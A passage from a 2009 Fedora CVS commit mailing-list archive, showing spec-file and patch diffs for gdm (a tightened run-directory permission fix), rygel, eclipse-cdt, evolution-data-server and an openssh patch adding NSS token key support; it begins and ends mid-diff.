-Release: 10%{?dist}
+Release: 11%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -105,6 +105,7 @@ Patch21: fix-clock.patch
 Patch22: fix-timer.patch
 Patch23: fix-na-tray.patch
 Patch24: fix-computer-info.patch
+Patch25: fix-run-dir-permissions.patch
 
 Patch97: gdm-multistack.patch
 # Fedora-specific
@@ -155,6 +156,7 @@ The GDM fingerprint plugin provides func
 %patch22 -p1 -b .fix-timer
 %patch23 -p1 -b .fix-na-tray
 %patch24 -p1 -b .fix-computer-info
+%patch25 -p1 -b .fix-run-dir-permission
 
 %patch97 -p1 -b .multistack
 %patch98 -p1 -b .bubble-location
@@ -226,6 +228,8 @@ mkdir -p $RPM_BUILD_ROOT%{_datadir}/gdm/
 # temporarily manually copy this
 cp -f %{SOURCE10} $RPM_BUILD_ROOT%{_datadir}/gdm/autostart/LoginWindow/polkit-gnome-authentication-agent-1.desktop
 
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/gdm/greeter
+
 rm -rf $RPM_BUILD_ROOT%{_localstatedir}/scrollkeeper
 
 find $RPM_BUILD_ROOT -name '*.a' -delete
@@ -379,10 +383,12 @@ fi
 %config %{_datadir}/gdm/autostart/LoginWindow/*
 %dir %{_localstatedir}/log/gdm
 %dir %{_localstatedir}/spool/gdm
+%dir %{_localstatedir}/run/gdm/greeter
 %attr(1770, gdm, gdm) %dir %{_localstatedir}/lib/gdm
 %attr(1750, gdm, gdm) %dir %{_localstatedir}/lib/gdm/.gconf.mandatory
 %attr(1640, gdm, gdm) %dir %{_localstatedir}/lib/gdm/.gconf.mandatory/*.xml
 %attr(1640, gdm, gdm) %dir %{_localstatedir}/lib/gdm/.gconf.path
+%attr(1755, gdm, gdm) %dir %{_localstatedir}/run/gdm/greeter
 %attr(1770, root, gdm) %dir %{_localstatedir}/gdm
 %attr(1777, root, gdm) %dir %{_localstatedir}/run/gdm
 %attr(1755, root, gdm) %dir %{_localstatedir}/cache/gdm
@@ -407,6 +413,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Tue Oct 27 2009 Ray Strode <rstrode at redhat.com> 2.28.1-11
+- Tighten permissions on /var/run/gdm (bug 531063)
+
 * Mon Oct 26 2009 Ray Strode <rstrode at redhat.com> 2.28.1-10
 - Position shutdown menu properly on multihead machines
 



From pbrobinson at fedoraproject.org  Tue Oct 27 15:54:22 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 27 Oct 2009 15:54:22 +0000 (UTC)
Subject: rpms/rygel/devel .cvsignore, 1.5, 1.6 rygel.spec, 1.15, 1.16 sources,
	1.5, 1.6
Message-ID: <20091027155422.9788211C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/rygel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13991

Modified Files:
	.cvsignore rygel.spec sources 
Log Message:
- Update to 0.4.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	2 Oct 2009 15:02:03 -0000	1.5
+++ .cvsignore	27 Oct 2009 15:54:21 -0000	1.6
@@ -1 +1 @@
-rygel-0.4.2.tar.bz2
+rygel-0.4.4.tar.bz2


Index: rygel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/devel/rygel.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- rygel.spec	2 Oct 2009 15:02:03 -0000	1.15
+++ rygel.spec	27 Oct 2009 15:54:22 -0000	1.16
@@ -1,5 +1,5 @@
 Name:           rygel
-Version:        0.4.2
+Version:        0.4.4
 Release:        1%{?dist}
 Summary:        A UPnP v2 Media Server
 
@@ -96,6 +96,9 @@ rm -rf %{buildroot}
 %{_datadir}/vala/vapi/rygel-1.0.vapi
 
 %changelog
+* Tue Oct 27 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.4-1
+- Update to 0.4.4
+
 * Fri Oct  2 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.2-1
 - Update to 0.4.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	2 Oct 2009 15:02:03 -0000	1.5
+++ sources	27 Oct 2009 15:54:22 -0000	1.6
@@ -1 +1 @@
-79a33b9875eacdcb22d9d195aaf24028  rygel-0.4.2.tar.bz2
+36578775c822a679e35a0ff837d43f02  rygel-0.4.4.tar.bz2



From akurtakov at fedoraproject.org  Tue Oct 27 15:57:22 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 27 Oct 2009 15:57:22 +0000 (UTC)
Subject: rpms/eclipse-cdt/devel eclipse-cdt.spec,1.138,1.139
Message-ID: <20091027155722.7B31711C00E6@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse-cdt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14993/devel

Modified Files:
	eclipse-cdt.spec 
Log Message:
- Sync build_id with upstream 6.0.1.


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-cdt/devel/eclipse-cdt.spec,v
retrieving revision 1.138
retrieving revision 1.139
diff -u -p -r1.138 -r1.139
--- eclipse-cdt.spec	16 Oct 2009 22:04:42 -0000	1.138
+++ eclipse-cdt.spec	27 Oct 2009 15:57:22 -0000	1.139
@@ -9,7 +9,7 @@ Epoch: 1
 %define majmin                  %{major}.%{minor}
 %define micro                   1
 %define eclipse_base            %{_libdir}/eclipse
-%define build_id		200906161748
+%define build_id		200909110608
 
 
 # All arches line up except i386 -> x86
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        4%{?dist}
+Release:        5%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -623,6 +623,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Tue Oct 27 2009 Alexander Kurtakov <akurtako at redhat.com> 1:6.0.1-5
+- Sync build_id with upstream 6.0.1.
+
 * Fri Oct 16 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-4
 - Rebase Autotools to 1.0.5.
 - Add patch to move macro hover docs locally into Autotools plugin.



From mbarnes at fedoraproject.org  Tue Oct 27 15:59:17 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Tue, 27 Oct 2009 15:59:17 +0000 (UTC)
Subject: rpms/evolution-data-server/F-12 evolution-data-server.spec, 1.278, 
	1.279
Message-ID: <20091027155917.A9FB111C00E6@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution-data-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15640

Modified Files:
	evolution-data-server.spec 
Log Message:
Fix a typo.



Index: evolution-data-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-data-server/F-12/evolution-data-server.spec,v
retrieving revision 1.278
retrieving revision 1.279
diff -u -p -r1.278 -r1.279
--- evolution-data-server.spec	19 Oct 2009 09:45:13 -0000	1.278
+++ evolution-data-server.spec	27 Oct 2009 15:59:17 -0000	1.279
@@ -186,7 +186,7 @@ fi
 %if %{use_gnome_keyring}
 %define keyring_flags --enable-gnome-keyring
 %else
-%define keyring flags --disable-gnome-keyring
+%define keyring_flags --disable-gnome-keyring
 %endif
 
 %if %{support_imap4_provider}



From jfch2222 at fedoraproject.org  Tue Oct 27 15:59:35 2009
From: jfch2222 at fedoraproject.org (Jan F. Chadima)
Date: Tue, 27 Oct 2009 15:59:35 +0000 (UTC)
Subject: rpms/openssh/F-12 openssh-5.2p1-nss-keys.patch, 1.2,
	1.3 openssh.spec, 1.169, 1.170
Message-ID: <20091027155935.B4CDC11C00E6@cvs1.fedora.phx.redhat.com>

Author: jfch2222

Update of /cvs/pkgs/rpms/openssh/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15697

Modified Files:
	openssh-5.2p1-nss-keys.patch openssh.spec 
Log Message:
Resolve locking in ssh-add


openssh-5.2p1-nss-keys.patch:
 openssh-5.2p1/README.nss   |   36 ++++
 openssh-5.3p1/Makefile.in  |    2 
 openssh-5.3p1/authfd.c     |   39 +++++
 openssh-5.3p1/authfd.h     |    8 +
 openssh-5.3p1/configure.ac |   15 ++
 openssh-5.3p1/key.c        |   61 ++++++++
 openssh-5.3p1/key.h        |   20 ++
 openssh-5.3p1/nsskeys.c    |  327 +++++++++++++++++++++++++++++++++++++++++++++
 openssh-5.3p1/nsskeys.h    |   39 +++++
 openssh-5.3p1/readconf.c   |   20 ++
 openssh-5.3p1/readconf.h   |    2 
 openssh-5.3p1/ssh-add.c    |  181 ++++++++++++++++++++++++
 openssh-5.3p1/ssh-agent.c  |  121 ++++++++++++++++
 openssh-5.3p1/ssh-dss.c    |   36 ++++
 openssh-5.3p1/ssh-keygen.c |   51 ++++++-
 openssh-5.3p1/ssh-rsa.c    |   42 +++++
 openssh-5.3p1/ssh.c        |   28 +++
 17 files changed, 1016 insertions(+), 12 deletions(-)

Index: openssh-5.2p1-nss-keys.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/F-12/openssh-5.2p1-nss-keys.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- openssh-5.2p1-nss-keys.patch	10 Mar 2009 13:39:03 -0000	1.2
+++ openssh-5.2p1-nss-keys.patch	27 Oct 2009 15:59:35 -0000	1.3
@@ -1,289 +1,55 @@
-diff -up openssh-5.2p1/key.c.nss-keys openssh-5.2p1/key.c
---- openssh-5.2p1/key.c.nss-keys	2008-07-11 09:35:09.000000000 +0200
-+++ openssh-5.2p1/key.c	2008-11-18 19:11:41.000000000 +0100
-@@ -96,6 +96,54 @@ key_new(int type)
- 	return k;
- }
- 
-+#ifdef HAVE_LIBNSS
-+Key *
-+key_new_nss(int type)
-+{
-+	Key *k = key_new(type);
-+
-+	k->nss = xcalloc(1, sizeof(*k->nss));
-+	k->flags = KEY_FLAG_EXT | KEY_FLAG_NSS;
-+
-+	return k;
-+}
-+
-+Key *
-+key_new_nss_copy(int type, const Key *c)
-+{
-+	Key *k = key_new_nss(type);
-+
-+	switch (k->type) {
-+		case KEY_RSA:
-+			if ((BN_copy(k->rsa->n, c->rsa->n) == NULL) ||
-+				(BN_copy(k->rsa->e, c->rsa->e) == NULL))
-+				fatal("key_new_nss_copy: BN_copy failed");
-+			break;
-+		case KEY_DSA:
-+			if ((BN_copy(k->dsa->p, c->rsa->p) == NULL) ||
-+				(BN_copy(k->dsa->q, c->dsa->q) == NULL) ||
-+				(BN_copy(k->dsa->g, c->dsa->g) == NULL) ||
-+				(BN_copy(k->dsa->pub_key, c->dsa->pub_key) == NULL))
-+				fatal("key_new_nss_copy: BN_copy failed");
-+			break;
-+	}
-+		
-+	k->nss->privk = SECKEY_CopyPrivateKey(c->nss->privk);
-+	if (k->nss->privk == NULL)
-+		fatal("key_new_nss_copy: SECKEY_CopyPrivateKey failed");
-+
-+	k->nss->pubk = SECKEY_CopyPublicKey(c->nss->pubk);
-+	if (k->nss->pubk == NULL)
-+		fatal("key_new_nss_copy: SECKEY_CopyPublicKey failed");
-+	
-+	if (c->nss->privk->wincx)
-+		k->nss->privk->wincx = xstrdup(c->nss->privk->wincx);
-+
-+	return k;
-+}
-+#endif
-+
-+
- Key *
- key_new_private(int type)
- {
-@@ -151,6 +199,19 @@ key_free(Key *k)
- 		fatal("key_free: bad key type %d", k->type);
- 		break;
- 	}
-+#ifdef HAVE_LIBNSS
-+	if (k->flags & KEY_FLAG_NSS) {
-+		if (k->nss->privk != NULL && k->nss->privk->wincx != NULL) {
-+			memset(k->nss->privk->wincx, 0,
-+				strlen(k->nss->privk->wincx));
-+			xfree(k->nss->privk->wincx);
-+			k->nss->privk->wincx = NULL;
-+		}
-+		SECKEY_DestroyPrivateKey(k->nss->privk);
-+		SECKEY_DestroyPublicKey(k->nss->pubk);
-+		xfree(k->nss);
-+	}
-+#endif
- 	xfree(k);
- }
- 
-diff -up openssh-5.2p1/ssh-dss.c.nss-keys openssh-5.2p1/ssh-dss.c
---- openssh-5.2p1/ssh-dss.c.nss-keys	2006-11-07 13:14:42.000000000 +0100
-+++ openssh-5.2p1/ssh-dss.c	2008-11-18 19:11:41.000000000 +0100
-@@ -39,6 +39,10 @@
- #include "log.h"
- #include "key.h"
- 
-+#ifdef HAVE_LIBNSS
-+#include <cryptohi.h>
-+#endif
-+
- #define INTBLOB_LEN	20
- #define SIGBLOB_LEN	(2*INTBLOB_LEN)
- 
-@@ -57,6 +61,34 @@ ssh_dss_sign(const Key *key, u_char **si
- 		error("ssh_dss_sign: no DSA key");
- 		return -1;
- 	}
-+#ifdef HAVE_LIBNSS
-+	if (key->flags & KEY_FLAG_NSS) {
-+		SECItem sigitem;
-+		SECItem *rawsig;
-+
-+		memset(&sigitem, 0, sizeof(sigitem));
-+		if (SEC_SignData(&sigitem, (u_char *)data, datalen, key->nss->privk,
-+			SEC_OID_ANSIX9_DSA_SIGNATURE_WITH_SHA1_DIGEST) != SECSuccess) {
-+			error("ssh_dss_sign: sign failed");
-+			return -1;
-+		}
-+		
-+		if ((rawsig=DSAU_DecodeDerSig(&sigitem)) == NULL) {
-+			error("ssh_dss_sign: der decode failed");
-+			SECITEM_ZfreeItem(&sigitem, PR_FALSE);
-+			return -1;
-+		}
-+		SECITEM_ZfreeItem(&sigitem, PR_FALSE);
-+		if (rawsig->len != SIGBLOB_LEN) {
-+			error("ssh_dss_sign: unsupported signature length %d",
-+				rawsig->len);
-+			SECITEM_ZfreeItem(rawsig, PR_TRUE);
-+			return -1;
-+		}
-+		memcpy(sigblob, rawsig->data, SIGBLOB_LEN);
-+		SECITEM_ZfreeItem(rawsig, PR_TRUE);
-+	} else {
-+#endif
- 	EVP_DigestInit(&md, evp_md);
- 	EVP_DigestUpdate(&md, data, datalen);
- 	EVP_DigestFinal(&md, digest, &dlen);
-@@ -80,7 +112,9 @@ ssh_dss_sign(const Key *key, u_char **si
- 	BN_bn2bin(sig->r, sigblob+ SIGBLOB_LEN - INTBLOB_LEN - rlen);
- 	BN_bn2bin(sig->s, sigblob+ SIGBLOB_LEN - slen);
- 	DSA_SIG_free(sig);
--
-+#ifdef HAVE_LIBNSS
-+	}
-+#endif
- 	if (datafellows & SSH_BUG_SIGBLOB) {
- 		if (lenp != NULL)
- 			*lenp = SIGBLOB_LEN;
-diff -up openssh-5.2p1/ssh-agent.c.nss-keys openssh-5.2p1/ssh-agent.c
---- openssh-5.2p1/ssh-agent.c.nss-keys	2008-07-04 15:10:49.000000000 +0200
-+++ openssh-5.2p1/ssh-agent.c	2008-11-18 19:11:41.000000000 +0100
-@@ -80,6 +80,10 @@
- #include "scard.h"
- #endif
- 
-+#ifdef HAVE_LIBNSS
-+#include "nsskeys.h"
-+#endif
-+
- #if defined(HAVE_SYS_PRCTL_H)
- #include <sys/prctl.h>	/* For prctl() and PR_SET_DUMPABLE */
- #endif
-@@ -714,6 +718,114 @@ send:
+diff -up openssh-5.3p1/authfd.c.nss-keys openssh-5.3p1/authfd.c
+--- openssh-5.3p1/authfd.c.nss-keys	2006-09-01 07:38:36.000000000 +0200
++++ openssh-5.3p1/authfd.c	2009-10-02 14:09:01.000000000 +0200
+@@ -626,6 +626,45 @@ ssh_update_card(AuthenticationConnection
+ 	return decode_reply(type);
  }
- #endif /* SMARTCARD */
  
-+#ifdef HAVE_LIBNSS
-+static void
-+process_add_nss_key (SocketEntry *e)
++int
++ssh_update_nss_key(AuthenticationConnection *auth, int add,
++    const char *tokenname, const char *keyname,
++    const char *pass, u_int life, u_int confirm)
 +{
-+	char *tokenname = NULL, *keyname = NULL, *password = NULL;
-+	int i, version, success = 0, death = 0, confirm = 0;
-+	Key **keys, *k;
-+	Identity *id;
-+	Idtab *tab;
-+
-+	tokenname = buffer_get_string(&e->request, NULL);
-+	keyname = buffer_get_string(&e->request, NULL);
-+	password = buffer_get_string(&e->request, NULL);
++	Buffer msg;
++	int type, constrained = (life || confirm);
 +
-+	while (buffer_len(&e->request)) {
-+		switch (buffer_get_char(&e->request)) {
-+		case SSH_AGENT_CONSTRAIN_LIFETIME:
-+			death = time(NULL) + buffer_get_int(&e->request);
-+			break;
-+		case SSH_AGENT_CONSTRAIN_CONFIRM:
-+			confirm = 1;
-+			break;
-+		default:
-+			break;
-+		}
-+	}
-+	if (lifetime && !death)
-+		death = time(NULL) + lifetime;
++	if (add) {
++		type = constrained ?
++		    SSH_AGENTC_ADD_NSS_KEY_CONSTRAINED :
++		    SSH_AGENTC_ADD_NSS_KEY;
++	} else
++		type = SSH_AGENTC_REMOVE_NSS_KEY;
 +
-+	keys = nss_get_keys(tokenname, keyname, password);
-+	/* password is owned by keys[0] now */
-+	xfree(tokenname);
-+	xfree(keyname);
++	buffer_init(&msg);
++	buffer_put_char(&msg, type);
++	buffer_put_cstring(&msg, tokenname);
++	buffer_put_cstring(&msg, keyname);
++	buffer_put_cstring(&msg, pass);
 +
-+	if (keys == NULL) {
-+		memset(password, 0, strlen(password));
-+		xfree(password);
-+		error("nss_get_keys failed");
-+		goto send;
-+	}
-+	for (i = 0; keys[i] != NULL; i++) {
-+		k = keys[i];
-+		version = k->type == KEY_RSA1 ? 1 : 2;
-+		tab = idtab_lookup(version);
-+		if (lookup_identity(k, version) == NULL) {
-+			id = xmalloc(sizeof(Identity));
-+			id->key = k;
-+			id->comment = nss_get_key_label(k);
-+			id->death = death;
-+			id->confirm = confirm;
-+			TAILQ_INSERT_TAIL(&tab->idlist, id, next);
-+			tab->nentries++;
-+			success = 1;
-+		} else {
-+			key_free(k);
++	if (constrained) {
++		if (life != 0) {
++			buffer_put_char(&msg, SSH_AGENT_CONSTRAIN_LIFETIME);
++			buffer_put_int(&msg, life);
 +		}
-+		keys[i] = NULL;
++		if (confirm != 0)
++			buffer_put_char(&msg, SSH_AGENT_CONSTRAIN_CONFIRM);
 +	}
-+	xfree(keys);
-+send:
-+	buffer_put_int(&e->output, 1);
-+	buffer_put_char(&e->output,
-+	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
-+}
-+
-+static void
-+process_remove_nss_key(SocketEntry *e)
-+{
-+	char *tokenname = NULL, *keyname = NULL, *password = NULL;
-+	int i, version, success = 0;
-+	Key **keys, *k = NULL;
-+	Identity *id;
-+	Idtab *tab;
 +
-+	tokenname = buffer_get_string(&e->request, NULL);
-+	keyname = buffer_get_string(&e->request, NULL);
-+	password = buffer_get_string(&e->request, NULL);
-+
-+	keys = nss_get_keys(tokenname, keyname, password);
-+	xfree(tokenname);
-+	xfree(keyname);
-+	xfree(password);
-+
-+	if (keys == NULL || keys[0] == NULL) {
-+		error("nss_get_keys failed");
-+		goto send;
-+	}
-+	for (i = 0; keys[i] != NULL; i++) {
-+		k = keys[i];
-+		version = k->type == KEY_RSA1 ? 1 : 2;
-+		if ((id = lookup_identity(k, version)) != NULL) {
-+			tab = idtab_lookup(version);
-+			TAILQ_REMOVE(&tab->idlist, id, next);
-+			tab->nentries--;
-+			free_identity(id);
-+			success = 1;
-+		}
-+		key_free(k);
-+		keys[i] = NULL;
++	if (ssh_request_reply(auth, &msg, &msg) == 0) {
++		buffer_free(&msg);
++		return 0;
 +	}
-+	xfree(keys);
-+send:
-+	buffer_put_int(&e->output, 1);
-+	buffer_put_char(&e->output,
-+	    success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE);
++	type = buffer_get_char(&msg);
++	buffer_free(&msg);
++	return decode_reply(type);
 +}
-+#endif /* HAVE_LIBNSS */
 +
- /* dispatch incoming messages */
- 
- static void
-@@ -806,6 +918,15 @@ process_message(SocketEntry *e)
- 		process_remove_smartcard_key(e);
- 		break;
- #endif /* SMARTCARD */
-+#ifdef HAVE_LIBNSS
-+	case SSH_AGENTC_ADD_NSS_KEY:
-+	case SSH_AGENTC_ADD_NSS_KEY_CONSTRAINED:
-+		process_add_nss_key(e);
-+		break;
-+	case SSH_AGENTC_REMOVE_NSS_KEY:
-+		process_remove_nss_key(e);
-+		break;
-+#endif /* SMARTCARD */
- 	default:
- 		/* Unknown message.  Respond with failure. */
- 		error("Unknown message %d", type);
-diff -up openssh-5.2p1/authfd.h.nss-keys openssh-5.2p1/authfd.h
---- openssh-5.2p1/authfd.h.nss-keys	2006-08-05 04:39:39.000000000 +0200
-+++ openssh-5.2p1/authfd.h	2008-11-18 19:11:41.000000000 +0100
+ /*
+  * Removes all identities from the agent.  This call is not meant to be used
+  * by normal applications.
+diff -up openssh-5.3p1/authfd.h.nss-keys openssh-5.3p1/authfd.h
+--- openssh-5.3p1/authfd.h.nss-keys	2006-08-05 04:39:39.000000000 +0200
++++ openssh-5.3p1/authfd.h	2009-10-02 14:09:01.000000000 +0200
 @@ -49,6 +49,12 @@
  #define SSH2_AGENTC_ADD_ID_CONSTRAINED		25
  #define SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED 26
@@ -306,10 +72,10 @@ diff -up openssh-5.2p1/authfd.h.nss-keys
  
  int
  ssh_decrypt_challenge(AuthenticationConnection *, Key *, BIGNUM *, u_char[16],
-diff -up openssh-5.2p1/configure.ac.nss-keys openssh-5.2p1/configure.ac
---- openssh-5.2p1/configure.ac.nss-keys	2008-11-18 19:11:41.000000000 +0100
-+++ openssh-5.2p1/configure.ac	2008-11-18 19:12:38.000000000 +0100
-@@ -3436,6 +3436,20 @@ AC_ARG_WITH(kerberos5,
+diff -up openssh-5.3p1/configure.ac.nss-keys openssh-5.3p1/configure.ac
+--- openssh-5.3p1/configure.ac.nss-keys	2009-10-02 14:09:01.000000000 +0200
++++ openssh-5.3p1/configure.ac	2009-10-02 14:09:01.000000000 +0200
+@@ -3514,6 +3514,20 @@ AC_ARG_WITH(kerberos5,
  	]
  )
  
@@ -330,7 +96,7 @@ diff -up openssh-5.2p1/configure.ac.nss-
  # Looking for programs, paths and files
  
  PRIVSEP_PATH=/var/empty
-@@ -4163,6 +4177,7 @@ echo "              TCP Wrappers support
+@@ -4240,6 +4254,7 @@ echo "              TCP Wrappers support
  echo "              MD5 password support: $MD5_MSG"
  echo "                   libedit support: $LIBEDIT_MSG"
  echo "  Solaris process contract support: $SPC_MSG"
@@ -338,110 +104,151 @@ diff -up openssh-5.2p1/configure.ac.nss-
  echo "       IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG"
  echo "           Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG"
  echo "                  BSD Auth support: $BSD_AUTH_MSG"
-diff -up /dev/null openssh-5.2p1/README.nss
---- /dev/null	2008-11-17 17:51:52.160001870 +0100
-+++ openssh-5.2p1/README.nss	2008-11-18 19:11:41.000000000 +0100
-@@ -0,0 +1,36 @@
-+How to use NSS tokens with OpenSSH?
-+
-+This version of OpenSSH contains experimental support for authentication using
-+keys stored in tokens stored in NSS database. This for example includes any
-+PKCS#11 tokens which are installed in your NSS database.
-+
-+As the code is experimental and preliminary only SSH protocol 2 is supported.
-+The NSS certificate and token databases are looked for in the ~/.ssh
-+directory or in a directory specified by environment variable NSS_DB_PATH.
-+
-+Common operations:
-+
-+(1) tell the ssh client to use the NSS keys:
-+
-+	$ ssh -o 'UseNSS yes' otherhost
-+	
-+	if you want to use a specific token:
-+	
-+	$ ssh -o 'UseNSS yes' -o 'NSS Token My PKCS11 Token' otherhost
-+
-+(2) or tell the agent to use the NSS keys:
-+
-+	$ ssh-add -n
-+	
-+	if you want to use a specific token:
-+	
-+	$ ssh-add -n -T 'My PKCS11 Token'
-+
-+(3) extract the public key from token so it can be added to the
-+server:
-+
-+	$ ssh-keygen -n
-+	
-+	if you want to use a specific token and/or key:
-+	
-+	$ ssh-keygen -n -D 'My PKCS11 Token' 'My Key ID'
-diff -up openssh-5.2p1/authfd.c.nss-keys openssh-5.2p1/authfd.c
---- openssh-5.2p1/authfd.c.nss-keys	2006-09-01 07:38:36.000000000 +0200
-+++ openssh-5.2p1/authfd.c	2008-11-18 19:11:41.000000000 +0100
-@@ -626,6 +626,45 @@ ssh_update_card(AuthenticationConnection
- 	return decode_reply(type);
+diff -up openssh-5.3p1/key.c.nss-keys openssh-5.3p1/key.c
+--- openssh-5.3p1/key.c.nss-keys	2008-11-03 09:24:17.000000000 +0100
++++ openssh-5.3p1/key.c	2009-10-02 14:09:01.000000000 +0200
+@@ -96,6 +96,54 @@ key_new(int type)
+ 	return k;
  }
  
-+int
-+ssh_update_nss_key(AuthenticationConnection *auth, int add,
-+    const char *tokenname, const char *keyname,
-+    const char *pass, u_int life, u_int confirm)
++#ifdef HAVE_LIBNSS
++Key *
++key_new_nss(int type)
 +{
-+	Buffer msg;
-+	int type, constrained = (life || confirm);
++	Key *k = key_new(type);
 +
-+	if (add) {
-+		type = constrained ?
-+		    SSH_AGENTC_ADD_NSS_KEY_CONSTRAINED :
-+		    SSH_AGENTC_ADD_NSS_KEY;
-+	} else
-+		type = SSH_AGENTC_REMOVE_NSS_KEY;
++	k->nss = xcalloc(1, sizeof(*k->nss));
++	k->flags = KEY_FLAG_EXT | KEY_FLAG_NSS;
 +
-+	buffer_init(&msg);
-+	buffer_put_char(&msg, type);
-+	buffer_put_cstring(&msg, tokenname);
-+	buffer_put_cstring(&msg, keyname);
-+	buffer_put_cstring(&msg, pass);
++	return k;
++}
 +
-+	if (constrained) {
-+		if (life != 0) {
-+			buffer_put_char(&msg, SSH_AGENT_CONSTRAIN_LIFETIME);
-+			buffer_put_int(&msg, life);
-+		}
-+		if (confirm != 0)
-+			buffer_put_char(&msg, SSH_AGENT_CONSTRAIN_CONFIRM);
-+	}
++Key *
++key_new_nss_copy(int type, const Key *c)
++{
++	Key *k = key_new_nss(type);
 +
-+	if (ssh_request_reply(auth, &msg, &msg) == 0) {
-+		buffer_free(&msg);
-+		return 0;
++	switch (k->type) {
++		case KEY_RSA:
++			if ((BN_copy(k->rsa->n, c->rsa->n) == NULL) ||
++				(BN_copy(k->rsa->e, c->rsa->e) == NULL))
++				fatal("key_new_nss_copy: BN_copy failed");
++			break;
++		case KEY_DSA:
++			if ((BN_copy(k->dsa->p, c->rsa->p) == NULL) ||
++				(BN_copy(k->dsa->q, c->dsa->q) == NULL) ||
++				(BN_copy(k->dsa->g, c->dsa->g) == NULL) ||
++				(BN_copy(k->dsa->pub_key, c->dsa->pub_key) == NULL))
++				fatal("key_new_nss_copy: BN_copy failed");
++			break;
 +	}
-+	type = buffer_get_char(&msg);
-+	buffer_free(&msg);
-+	return decode_reply(type);
++		
++	k->nss->privk = SECKEY_CopyPrivateKey(c->nss->privk);
++	if (k->nss->privk == NULL)
++		fatal("key_new_nss_copy: SECKEY_CopyPrivateKey failed");
++
++	k->nss->pubk = SECKEY_CopyPublicKey(c->nss->pubk);
++	if (k->nss->pubk == NULL)
++		fatal("key_new_nss_copy: SECKEY_CopyPublicKey failed");
++	
++	if (c->nss->privk->wincx)
++		k->nss->privk->wincx = xstrdup(c->nss->privk->wincx);
++
++	return k;
 +}
++#endif
 +
- /*
-  * Removes all identities from the agent.  This call is not meant to be used
-  * by normal applications.
-diff -up openssh-5.2p1/readconf.h.nss-keys openssh-5.2p1/readconf.h
---- openssh-5.2p1/readconf.h.nss-keys	2008-06-29 16:04:03.000000000 +0200
-+++ openssh-5.2p1/readconf.h	2008-11-18 19:11:41.000000000 +0100
-@@ -84,6 +84,8 @@ typedef struct {
- 	char   *preferred_authentications;
- 	char   *bind_address;	/* local socket address for connection to sshd */
- 	char   *smartcard_device; /* Smartcard reader device */
-+	int     use_nss;        /* Use NSS library for keys */
-+	char   *nss_token;      /* Look for NSS keys on token */
- 	int	verify_host_key_dns;	/* Verify host key using DNS */
++
+ Key *
+ key_new_private(int type)
+ {
+@@ -151,6 +199,19 @@ key_free(Key *k)
+ 		fatal("key_free: bad key type %d", k->type);
+ 		break;
+ 	}
++#ifdef HAVE_LIBNSS
++	if (k->flags & KEY_FLAG_NSS) {
++		if (k->nss->privk != NULL && k->nss->privk->wincx != NULL) {
++			memset(k->nss->privk->wincx, 0,
++				strlen(k->nss->privk->wincx));
++			xfree(k->nss->privk->wincx);
++			k->nss->privk->wincx = NULL;
++		}
++		SECKEY_DestroyPrivateKey(k->nss->privk);
++		SECKEY_DestroyPublicKey(k->nss->pubk);
++		xfree(k->nss);
++	}
++#endif
+ 	xfree(k);
+ }
  
- 	int     num_identity_files;	/* Number of files for RSA/DSA identities. */
-diff -up /dev/null openssh-5.2p1/nsskeys.c
---- /dev/null	2008-11-17 17:51:52.160001870 +0100
-+++ openssh-5.2p1/nsskeys.c	2008-11-18 19:11:41.000000000 +0100
+diff -up openssh-5.3p1/key.h.nss-keys openssh-5.3p1/key.h
+--- openssh-5.3p1/key.h.nss-keys	2008-06-12 20:40:35.000000000 +0200
++++ openssh-5.3p1/key.h	2009-10-02 14:09:01.000000000 +0200
+@@ -29,11 +29,17 @@
+ #include <openssl/rsa.h>
+ #include <openssl/dsa.h>
+ 
++#ifdef HAVE_LIBNSS
++#include <nss.h>
++#include <keyhi.h>
++#endif
++
+ typedef struct Key Key;
+ enum types {
+ 	KEY_RSA1,
+ 	KEY_RSA,
+ 	KEY_DSA,
++	KEY_NSS,
+ 	KEY_UNSPEC
+ };
+ enum fp_type {
+@@ -48,16 +54,30 @@ enum fp_rep {
+ 
+ /* key is stored in external hardware */
+ #define KEY_FLAG_EXT		0x0001
